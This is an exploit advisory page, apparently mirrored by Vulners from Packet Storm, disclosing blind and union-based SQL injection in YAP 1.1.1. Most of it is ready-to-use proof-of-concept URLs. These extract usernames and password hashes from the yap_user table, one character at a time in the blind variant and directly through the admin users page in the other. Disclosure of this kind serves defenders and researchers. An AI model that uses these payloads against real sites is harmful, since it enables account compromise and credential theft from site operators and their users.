Lucene search
K

YAP 1.1.1 Blind SQL Injection

🗓️ 16 Mar 2009 00:00:00Reported by SirGodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 13 Views

YAP 1.1.1 Blind SQL Injection vulnerability with Po

Code
`#######################################################################################################  
[+] YAP 1.1.1 Blind SQL Injection/SQL Injection  
[+] Discovered By SirGod  
[+] www.mortal-team.org  
[+] www.h4cky0u.org  
########################################################################################################  
  
[+] Blind SQL Injection  
  
The default prefix for database tables is "yap_" .But can be changed  
at installation.  
  
PoC :  
  
http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),1,1))>97  
  
First character of the username is char(97) , is "a" .  
  
http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),2,1))>100  
  
Second character of the username is char(100) ,is "d" .  
  
And so on...Change the limit to go to the next char.  
  
  
[+] SQL Injection  
  
- Need to be logged in as administrator.  
  
http://127.0.0.1/[path]/admin/index.php?page=users_modif&action=modif&user=null union all select concat_ws(0x3a,login,pass),2 from yap_user where id=1--  
  
#########################################################################################################  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation